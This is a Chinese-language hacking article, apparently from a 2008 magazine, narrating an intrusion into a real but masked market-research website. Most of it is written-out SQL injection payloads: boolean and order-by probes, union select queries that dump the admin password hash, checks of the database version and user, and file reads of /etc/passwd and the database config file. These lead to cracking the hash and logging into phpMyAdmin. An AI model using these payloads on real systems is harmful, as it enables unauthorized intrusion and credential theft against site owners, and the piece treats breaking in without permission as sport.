作者:Maxil
已经发表在黑客手册2008年第三期

最近一直比较关注PHP注射的东西.学习好几天了.也应该实战一下了.目标http://app.xxxx.com .一个市场调查的门户.找注射点嘛,还是要用我们可爱的搜索引擎.为什么可爱呢?一会就知道了.Go Go Go !!!!!

在google中搜索php?id= site:xxx.com.意思就是说搜索XXX网站中以php?id=的URL.嘿.还真让我找到一个. http://app.xxx.com/cati/article_literature.php?id=11 .打开吓我一条,它页面本身就存在错误直接出来了绝对路径.
clip_image001

/data01/www/cati/article_literature.php 呵呵,人品爆发了..通过路径可以得知是台Linux主机.判断下是否可以进行注射.and 1=1返回正常,and 1=2返回错误..OK存在注射.然后我们判断数据库,不出意外应该是mysql.传说中的LMAP.环境(L=Linux M=Mysql A=Apache P=Php)
http://app.xxx.com/cati/article_literature.php?id=11/* 在后面加上/*,返回正常则是Mysql.因为/*是Mysql的注释标记.

clip_image002

返回正常,确定是Mysql的数据库.现在我们来检测下Mysql的版本.4.0以上支持union联合查询.一般都回是4.0已经.为什么.因为Mysql是开源的数据库不收费傻子才不更新呢.呵呵.
http://app.xxx.com/cati/article_literature.php?id=11 and ord(mid(version(),1,1))>51/* 如我所料.果然是4.0以上的.OK.我们来爆它的字段.
http://app.xxx.com/cati/article_literature.php?id=11 order by 10

clip_image003

返回错误,说明字段小于10
http://app.xxx.com/cati/article_literature.php?id=11 order by 9

clip_image004

返回正常说明它有9个字段.OK.现在我们知道它的字段那我们就来爆它的管理员吧 呵呵.
http://app.xxx.com/cati/article_literature.php?id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9

clip_image005

出现了一些数字,一会那个地方会出现我们想要的东西。呵呵,.经过返回的测试,确定表段为m_admin.
http://app.xxx.com/cati/article_literature.php?id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9 from m_admin

clip_image006

返回正常说明存在m_admin标段.接下来我们猜字段.,还记的刚才爆出那个几个数字吧,对应我们的URL的数字.我们用字段名去替换掉它.在页面里就会显示出我们需要的内容了.最后只能检出俩个字段.一个为password 一个为id
http://app.xxx.com/cati/article_literature.php?id=11 and 1=2 union select 1,id,3,4,5,6,7,password,9 from m_admin

clip_image007

2和8的位置出现了我们想要的东西..可惜的没有检测到用户名的字段,不过没关系,应该是admin,或administrator.应该问题不大。现在去破解下那个32位的MD5,看看是不是弱口令
我们去CMD5.com看看…

clip_image008

经典123456从先江湖.现在我们找下后台吧。拿工具狂扫半天没发现任何可利用的东西。第一次弄PHP的站没什么经验,丢给SpookZanG帮忙,不过一会丢给我了管理地址和phpmyadmin的地址.汗~~果然牛..原来是robots.txt暴露了信息..一着急给忘了还有个这么个东西.太粗心了.呵呵.说下它是什么东西.搜索引擎会抓取我们网站的每个页面包括一些敏感的东西.比如MDB.文件,网站后台,这就是为什么我们可以在google.或百度中搜索到网站后台了.比如我们有些东西不想被搜索引擎抓取呢?那怎么办.在网站目录下创建robots.txt,里面写不想被搜索引擎抓取的页面和目录,就可以了.但是我们直接访问还是可以给我们暴露一些信息的嘿~..

clip_image009

很明显/information/admin/为后台地址测试/My_Db_3000/这个是 phpmyadmin后台,OK.现在我们进后台吧.结果却…..自动跳转到new/admin了.无法访问,限制了IP访问了.郁闷了…一切尽在不言中….

clip_image010

可能大家都知道如果是ROOT的话我们可以条用load_file.去网站源码.读类似conn等文件拿到root密码的话,我们进phpmyadmin也是可以备份shell的.嘿..ok.我们来测试下.先看看帐户是不是roothttp://app.xxx.com/cati/article_literature.php?id=11 and ord(mid(user(),1,1))=114/*结果不幸如图,返回错误帐户不是root.

clip_image011

没关系,我们再看看当前帐户有没有读写权限
http://app.xxx.com/cati/article_literature.php?id=11 and (select count(*) from mysql.user)>0 /*

clip_image012

嘿,有读写权限.OK.我们用PHP文件读取器,来证实下吧.软件默认读/etc/passwd.我们读下看看.

clip_image013

可以读/ect/passwd 呵呵.应该没什么问题了.还记的我们刚才爆出来的路径吧.我直接读/data01/www/cati/article_literature.php 文件的顶端会有数据库调用的文件.嘿`.

clip_image014

呵呵.出来了.然后我们去读mysql.php这个文件.找mysql密码去.

clip_image015

顺利读出.
OK.我们去登陆phpmyadmin测试下吧.哈哈.

clip_image016

OK。现在可以去做我们想做的事了。

源链接

Hacking more

...